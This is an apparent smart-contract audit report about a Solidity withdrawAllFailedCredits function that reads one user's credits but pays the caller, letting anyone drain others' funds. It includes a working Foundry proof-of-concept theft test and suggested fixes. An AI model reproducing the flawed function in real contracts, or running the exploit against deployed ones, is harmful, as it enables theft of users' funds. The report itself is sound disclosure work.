Root + Impact
Description
-
The `withdrawAllFailedCredits` function has a critical implementation mismatch that allows any user to steal failed transfer credits belonging to other users.
-
The function accepts a _receiver parameter but inconsistently uses it:
function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver]; //@audit Reads from _receiver
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; //@audit Zeroes msg.sender's credits
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); //@audit Sends to msg.sender
require(success, "Withdraw failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
Add this function into the test file:
function test_withdrawAllFailedCredits_FundTheftVulnerability() public {
_mintNFT();
_listNFT();
address alice = address(0x45);
address bob = address(0x20);
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
uint256 firstBidAmount = MIN_PRICE + 0.1 ether;
vm.prank(alice);
market.placeBid{value: firstBidAmount}(TOKEN_ID);
uint256 secondBidAmount = firstBidAmount * 120 / 100;
vm.prank(bob);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
uint256 aliceCredits = market.failedTransferCredits(alice);
assertEq(aliceCredits, firstBidAmount);
uint256 bobBalanceBefore = bob.balance;
vm.prank(bob);
market.withdrawAllFailedCredits(alice);
assertEq(bob.balance, bobBalanceBefore + aliceCredits);
assertEq(market.failedTransferCredits(alice), aliceCredits);
assertEq(market.failedTransferCredits(bob), 0);
}
Recommended Mitigation
Add a check that _receiver is msg.sender
function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver == msg.sender, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[_receiver] = 0; // Now consistent
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
or remove unnecessary parameter:
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}